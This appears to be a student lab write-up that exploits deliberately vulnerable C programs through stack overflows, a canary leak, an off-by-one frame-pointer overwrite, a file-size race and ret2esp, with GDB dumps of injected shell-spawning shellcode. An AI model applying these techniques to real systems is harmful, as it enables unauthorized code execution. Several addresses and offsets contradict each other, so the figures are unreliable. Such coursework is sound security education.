Q2:
Main Idea:

The line 17 only checks the file if empty and does not check the file size which lets an attacker write past the end of the msg. We insert shellcode above the saved return address on the stack (rip) and overwrite the rip with the address of shellcode.

Magic Number:

First we get msg buffer (0xbffffc08) and the address of the rip of the display function (0xbffffc9c).This was done by invoking GDB and setting a breakpoint at line 21.

```
(gdb) x/16x msg
0xbffffa58:  0x61616161       0x61616161 0x61616161 0x61616161
0xbffffa68:  0x61616161       0x61616161 0x61616161 0x61616161
0xbffffa78:  0x61616161       0x61616161 0x61616161 0x61616161
0xbffffa88:  0x61616161       0x61616161 0x61616161 0x61616161
```

```
(gdb) i f
Stack level 0, frame at 0xbffffaf0:
 eip = 0x400721 in display (telemetry.c:21); saved eip = 0xbffffca0
 called by frame at 0x61616169
 source language c.
 Arglist at 0xbffffae8, args: path=0xcd58326a <error: Cannot access
memory at address 0xcd58326a>
 Locals at 0xbffffae8, Previous frame's sp is 0xbffffaf0
 Saved registers:
  ebx at 0xbffffae4, ebp at 0xbffffae8, eip at 0xbffffaec
```

By doing so, we learned that the location of the return address from this function was 148 bytes away from the start of the buffer (0xbffffaec - 0xbffffa58 = 0x94 = 148).

Exploit Structure:

1. write the first byte which is the size of the file and write 148 dummy characters to overwrite buf, the compiler padding, and the sfp.

2.Overwrite the rip with the address of shellcode. Since we are putting shellcode directly after the rip, we overwrite the rip with 0xbffffaf0 (0xbffffaec + 4)

3. Finally, insert the shellcode directly after the rip.

This causes the display function to start executing the shellcode at address 0xbffffca0 when it returns.

Exploit GDB Output

When we ran GDB after inputting the malicious exploit string, we got the following output:

```
0xbffffa58:  0x61616161       0x61616161 0x61616161 0x61616161
0xbffffa68:  0x61616161       0x61616161 0x61616161 0x61616161
0xbffffa78:  0x61616161       0x61616161 0x61616161 0x61616161
0xbffffa88:  0x61616161       0x61616161 0x61616161 0x61616161
0xbffffa98:  0x61616161       0x61616161 0x61616161 0x61616161
0xbffffaa8:  0x61616161       0x61616161 0x61616161 0x61616161
0xbffffab8:  0x61616161       0x61616161 0x61616161 0x61616161
0xbffffac8:  0x61616161       0x61616161 0x61616161 0x61616161
0xbffffad8:  0x000000c0       0x61616161 0x61616161 0x61616161
0xbffffae8:  0x61616161       0xbffffaf0 0xcd58326a 0x89c38980
0xbffffaf8:   0x58476ac1       0xc03180cd 0x2f2f6850 0x2f686873
0xbffffb08:  0x546e6962       0x8953505b 0xb0d231e1 0x0a80cd0b
```

After 148 bytes of garbage , the rip is overwritten with 0xbffffca0, which points to the shellcode directly after the rip.

Q3:
Main Idea:

The program is vulnerable due to memory leak or stack canary leak. In dehexify function, c.buffer[i] will skip checking at i+2 and i+3. We can make the buffer contain only “\x” in the last 4 bytes, so the check will skip over two null bytes and print the canary until other null bytes. Since we can keep sending data to the buffer in a loop, we can send code injection which contains the canary and overwrite the rip.

Magic Number:

First we get the address of c.buffer (0xbffffb04) and c.answer (0xbffffaf4). Also, we get the address of dehexify function(0xbffffb20). This was done by invoking GDB and setting a breakpoint at dehexify.

```
(gdb) x/16x c.answer
0xbffffaf4:    0x00000000 0x00000000 0x00000000 0x00000000
0xbffffb04:    0x00000000 0x00000000 0x00000000 0x00401fb0
0xbffffb14:    0x00401fb0  0x00401fb0 0xbffffb28    0x00400839
0xbffffb24:    0xb7ffcf5c    0xbffffbac     0xb7f8cc8b  0x00000001

(gdb) x/16x c.buffer
0xbffffb04:    0x000000000x000000000x000000000x00401fb0
0xbffffb14:    0x00401fb0 0x00401fb0 0xbffffb28     0x00400839
0xbffffb24:    0xb7ffcf5c    0xbffffbac     0xb7f8cc8b  0x00000001
0xbffffb34:    0xbffffba4    0xbffffbac     0x000000080x00000000

(gdb) i f
Stack level 0, frame at 0xbffffb24:
 eip = 0x400716 in dehexify (dehexify.c:11); saved eip = 0x400839
 called by frame at 0xbffffb30
 source language c.
 Arglist at 0xbffffb1c, args:
 Locals at 0xbffffb1c, Previous frame's sp is 0xbffffb24
 Saved registers:
  ebx at 0xbffffb18, ebp at 0xbffffb1c, eip at 0xbffffb20
```

By doing so, we learned that the location of the return address from c.buffer is 0xbffffb20 - 0xbffffb04 = 28 bytes and from c.answer is 44 bytes by adding 28 +16 = 44 bytes.

Exploit Structure:

rip(0xbffffb20)
sfp(0xbffffb1c)
compiler padding(0xbffffb18)
canary(0xbffffb14)
c.buffer(0xbffffb04) for 16bytes
c.answer(0xbffffaf4) for 16bytes

1. First send 12 bytes of garbage + “\x\n” to the program and will receive 21 bytes string back because \x will skip \n and get the bytes until next \n. By observing the stack in gdb, canary is located 16 bytes below c.buffer and the next 4 bytes must contain \n. Then, we can get the canary at bytes 13, 14, 15, 16 in the received 21 bytes.

2. Send the second data to program again with 32 bytes of garbage + canary + 8 bytes garbage + (address of SHELLCODE) + SHELLCODE because the dehexify function returns to main after writing to c.answer. Also, c.answer is 32 bytes away from canary and 12 more bytes away from rip.

This causes the dehexify function return and jump to the shellcode at address 0xbffffb24 by rip + 4. Then, start to run the shellcode.

Exploit GDB Output

When we ran GDB after inputting the first malicious exploit string, we got the following output:

```
(gdb) x/16x c.answer
0xbffffaf4:   0x616161610x616161610x616161610xf82385b9
0xbffffb04:   0x401fb0ca 0x616161000x616161610x0000785c
0xbffffb14:   0xcaf82385 0x00401fb0 0xbffffb28    0x00400839
0xbffffb24:   0xb7ffcf5c   0xbffffbac    0xb7f8cc8b 0x00000001
```

After printf("%s\n", c.answer), it will print the address start at 0xbffffaf4 to 0xbffffb08 because we can see the 00 or \n is in the 4 bytes of 0xbffffb08. Also, the canary is 0x401fb0ca in this case.

After getting canary from the first output, we still need to send the second data to the program.

Q4:
Main Idea:

The program is vulnerable due to the index off-by-one vulnerabilities. The buf is written one more byte than its buffer size in flip function. Also, the address above buf[64] is the address of a saved ebp. Hence, we can write pass buf[64] and change the last byte of the saved ebp. As a result, esp will jump to modified ebp. Then, esp will plus 4 to the return address. We can make shellcode injection on that return address. As a result, esp will jump to the shellcode which will be placed in the environmental variable.

Magic Number:

First we found out the address of the shellcode is at 0xbfffff9d, the address of buf is at 0xbffffa70, and the address of ebp is at 0xbffffab0 by stepping through gdb shown below.

```
(gdb) x/40x 0xbfffff9d
0xbfffff9d:    0xcd58326a 0x89c38980 0x58476ac1 0xc03180cd
0xbfffffad:    0x2f2f6850  0x2f686873  0x546e6962 0x8953505b
0xbfffffbd:    0xb0d231e1 0x0080cd0b 0x4d524554 0x7263733d
0xbfffffcd:    0x006e6565 0x4c454853 0x68733d4c 0x44575000
0xbfffffdd:    0x6f682f3d  0x762f656d  0x00616765 0x6d6f682f
0xbfffffed:    0x65762f65  0x662f6167  0x7070696c 0x00007265

(gdb) x/20x buf
0xbffffa70:    0x00000000 0x00000001 0x00000000 0xbffffc1b
0xbffffa80:    0x00000000 0x00000000 0x00000000 0xb7ffc44e
0xbffffa90:    0x00000000 0xb7ffefd8   0xbffffb50    0xb7ffc165
0xbffffaa0:    0x00000000 0x00000000 0x00000000 0xb7ffc6dc
0xbffffab0:    0xbffffabc    0xb7ffc539   0xbffffc4a    0xbffffac8

(gdb) i f
Stack level 0, frame at 0xbffffab8:
 eip = 0xb7ffc510 in invoke (flipper.c:19); saved eip = 0xb7ffc539
 called by frame at 0xbffffac4
 source language c.
 Arglist at 0xbffffab0, args:
    in=0xbffffc4a "\275\337□337\275\□", 'a' <repeats 56 times>, "P"
 Locals at 0xbffffab0, Previous frame's sp is 0xbffffab8
 Saved registers:
  ebp at 0xbffffab0, eip at 0xbffffab4
```

By doing so, we can learn the address of ebp (0xbffffab0) is just above buf[64] which is 64 bytes apart from each other. Also, we can learn the address of shellcode is at 0xbfffff9d.

Exploit Structure:
At frame invoke

rip(0xbffffab4)
sfp(0xbffffab0)
buf[64](0xbffffa70)

1. We inject shellcode as the environmental variable and one program argument in order to make the esp jump to shellcode.

2. In flip function, the argument is pointed by input and is written char by char with an xor operation to buf. Due to index off by one error, we can write pass buf[64] one more byte to sfb. This can make sfb contain the address of 0xbffffa70 which is the start of buf.

3. By knowing the above information, we can make our argument input contain the address of shellcode which is 0xbfffff9d at buf[4:8] because esp will plus 4 by pop operation as x86 calling convention after esp points to buf.

4. After esp is pop and point to &buf[4], it will take it as a return address and jump to this address which will open shellcode.

Exploit GDB Output

When we ran GDB after inputting the malicious exploit arg and egg, we got the following output:

```
(gdb) x/20x buf
0xbffffa70:   0xbfffff9d     0xbfffff9d     0x414141410x41414141
0xbffffa80:   0x414141410x414141410x41414141 0x41414141
0xbffffa90:   0x414141410x414141410x41414141 0x41414141
0xbffffaa0:   0x414141410x414141410x41414141 0x41414141
0xbffffab0:   0xbffffa70    0xb7ffc539  0xbffffc4a    0xbffffac8
```

And shellcode in green

```
(gdb) x/40x 0xbfffff9d
0xbfffff9d:    0xcd58326a 0x89c38980 0x58476ac1 0xc03180cd
0xbfffffad:    0x2f2f6850 0x2f686873 0x546e6962 0x8953505b
0xbfffffbd:    0xb0d231e1 0x0080cd0b 0x4d524554 0x7263733d
0xbfffffcd:    0x006e6565 0x4c454853 0x68733d4c 0x44575000
0xbfffffdd:    0x6f682f3d 0x762f656d 0x00616765 0x6d6f682f
0xbfffffed:    0x65762f65 0x662f6167 0x7070696c 0x00007265
```

We can see that 0xbffffa74 has the address of shellcode. Then, the shell is open successfully.

Q5

Main Idea:

The code is vulnerable because it does not check the file size before we read the file. The hack file is empty now. The program checks the hack file size and then asks the user to input the number of bytes to read. When it asks the user to enter the bytes to read, we can change the data in the hack file that program will read. Since it does not check the hack file size after asking the bytes to read, we can put the shell code in the hack file and the program will read it. We fill the buffer and put shellcode above the saved return address on the stack and overwrite the rip wirth the address of shellcode.

Magic Numbers:

We first determined the address of the address of the rip of the read_file function (0xbffffb1c) and the address of the buf (0xbffffa88). This was done by invoking GDB and setting a breakpoint at line 26.

```
(gdb) i f
Stack level 0, frame at 0xbffffb20:
 eip = 0x4007cf in read_file (orbit.c:28); saved eip = 0x400972
 called by frame at 0xbffffb40
 source language c.
Arglist at 0xbffffb18, args:
 Locals at 0xbffffb18, Previous frame's sp is 0xbffffb20
---Type <return> to continue, or q <return> to quit---
 Saved registers:
  ebx at 0xbffffb14, ebp at 0xbffffb18, eip at 0xbffffb1c

(gdb) x/16x buf
0xbffffa88:    0x00000000    0xb7fc8d49    0x00000000    0x00400034
0xbffffa98:    0xbffffaa0    0x00000008    0x01be3c6e    0x00000001
0xbffffaa8:    0x00000050    0x00001fa0    0x00000000    0x00000300
0xbffffab8:    0x00000180    0x00000000    0x00000000    0x00000000
```

By doing so, we learned the that the location of the return address from this function was 20 bytes away from the start of the buffer (0xbffffb1c - 0xbffffa88 = 0x94 = 148).

Then, we find the number of bytes to read: since we need 148 dummy bytes and 4 types of address of sfp, and the length of shellcode which is 148 + 4 + 84 = 236.

Exploit Structure:

rip(0xbffffb1c)
sfp(0xbffffb20)
compiler padding
buf[128](0xbffffa88)

1. Write 148 dummy characters to overwrite buf, the compiler padding, and the sfp.

2. Overwrite the rip with the address of shellcode. Since we are putting shellcode directly after the rip, we overwrite the rip with 0xbffffb20 (0xbffffb1c + 4).

3. Finally, insert the shellcode directly after the rip.

This causes the read_file function to start executing the shellcode at address 0xbffffb20 when it returns.

Exploit GDB Output

When we ran GDB after inputting the bytes to read, and read the hack file we got the following:

```
x/48x buf
0xbffffa88:   0x61616161   0x61616161   0x61616161   0x61616161
0xbffffa98:   0x61616161   0x61616161   0x61616161   0x61616161
0xbffffaa8:   0x61616161   0x61616161   0x61616161   0x61616161
0xbffffab8:   0x61616161   0x61616161   0x61616161   0x61616161
0xbffffac8:   0x61616161   0x61616161   0x61616161   0x61616161
0xbffffad8:   0x61616161   0x61616161   0x61616161   0x61616161
0xbffffae8:   0x61616161   0x61616161   0x61616161   0x61616161
0xbffffaf8:   0x61616161   0x61616161   0x61616161   0x61616161
0xbffffb08:   0x61616161   0x61616161   0x61616161   0x61616161
0xbffffb18:   0x61616161   0x20fbffbf   0xcd58326a   0x89c38980
0xbffffb28:   0x58476ac1   0xc03180cd   0x2f2f6850   0x2f686873
0xbffffb38:   0x546e6962   0x8953505b   0xb0d231e1   0x0080cd0b
```

After 148 bytes of garbage, the rip is overwritten with 0xbffffb20, which points to the shellcode directly after the rip.

Q6
Main Idea:

The program is vulnerable due to buffer overflow by get function. Since ASLR is enabled, we cannot overwrite the rip with a known shellcode address because the address of the rip changes every time. However, we can use ret2esp trick and find the jmp *esp instruction in code binary to solve this problem. We first overwrite the rip to the address of jmp *esp instruction. Lucky, we have a 58623 in magic function where 58623 is equal to jmp *esp in machine code. Hence, we can override rip and put shellcode on top of rip. After ret jump my new rip to jmp *esp instruction, rip will increment by 4. Jmp *esp will jump to shellcode because rip+4 is the shellcode that we overwrite in get function.

Magic Number:

First we found out the address of buf is at 0xbf82bbf8, the address of eip is at 0xbf82bc0c, and the address of jmp *esp instruction in magic is 0x08048446 by stepping through gdb shown below.

```
(gdb) x/16x buf
0xbf82bbf8: 0x616161610x000000000x000000000xb7f91f5c
0xbf82bc08:0xbf82bc18 0x080484b50x000000000xbf82bc30
0xbf82bc18:0xbf82bcac 0xb7f21c8b 0xbf82bca4 0x00000001
0xbf82bc28:0xbf82bcac 0xb7f21c8b 0x000000010xbf82bca4
```

```
(gdb) i f
Stack level 0, frame at 0xbf82bc10:
 eip = 0x804848f in orbit (orbit.c:16); saved eip = 0x80484b5
 called by frame at 0xbf82bc30
 source language c.
 Arglist at 0xbf82bc08, args:
 Locals at 0xbf82bc08, Previous frame's sp is 0xbf82bc10
 Saved registers:
  ebx at 0xbf82bc04, ebp at 0xbf82bc08, eip at 0xbf82bc0c
```

```
(gdb) disass magic
Dump of assembler code for function magic:
   0x08048424 <+0>:    push   %ebp
   0x08048425 <+1>:    mov    %esp,%ebp
   0x08048427 <+3>:    call   0x80484c3 <__x86.get_pc_thunk.ax>
   0x0804842c <+8>:    add    $0x1bb4,%eax
   0x08048431 <+13>:  mov    0xc(%ebp),%eax
   0x08048434 <+16>:  shl    $0x3,%eax
   0x08048437 <+19>:  xor    %eax,0x8(%ebp)
   0x0804843a <+22>:  mov    0x8(%ebp),%eax
   0x0804843d <+25>:  shl    $0x3,%eax
   0x08048440 <+28>:  xor    %eax,0xc(%ebp)
   0x08048443 <+31>:  orl    $0xe4ff,0x8(%ebp)
   0x0804844a <+38>:  mov    0xc(%ebp),%ecx
   0x0804844d <+41>:  mov    $0x3e0f83e1,%edx
   0x08048452 <+46>:  mov    %ecx,%eax
   0x08048454 <+48>:  mul    %edx
   0x08048456 <+50>:  mov    %edx,%eax
   0x08048458 <+52>:  shr    $0x4,%eax
   0x0804845b <+55>:  imul   $0x42,%eax,%eax
   0x0804845e <+58>:  sub    %eax,%ecx
   0x08048460 <+60>:  mov    %ecx,%eax
   0x08048462 <+62>:  mov    %eax,0xc(%ebp)
   0x08048465 <+65>:  mov    0x8(%ebp),%eax

(gdb) x/4x 0x08048446
0x8048446 <magic+34>:      0x0000e4ff 0xba0c4d8b       0x3e0f83e1
0xe2f7c889
```

By doing so, we can learn the distance from the address of buf to the address of eip is 20 bytes by 0xbf82bc0c - 0xbf82bbf8. Then, we can inject our egg as 20 bytes garbage + address of jmp *esp (0x08048446) + shellcode.

Exploit Structure:

Shellcode injection(0xbf82bbfc)
rip(0xbf82bbf8)
sfp(0xbf82bbf4)
buf[8](0xbf82bc0c)

1. We first find the jmp *esp instruction in the magic function with i |= 58623 statement and get the address of that instruction.

2. Then, we calculate the number of bytes of garbage from buf to eip.

3. We now can inject our egg as garbage + address of jump *esp + shellcode.

Exploit GDB Output

When we ran GDB after inputting the malicious exploit egg, we got the following output:

```
(gdb) x/16x buf
0xbfac01d8:  0x61616161  0x61616161  0x61616161  0x61616161
0xbfac01e8:  0x61616161  new_eip     shellcode following...
```

The new_eip is the address of jump *esp. Now, we can open the shell successfully.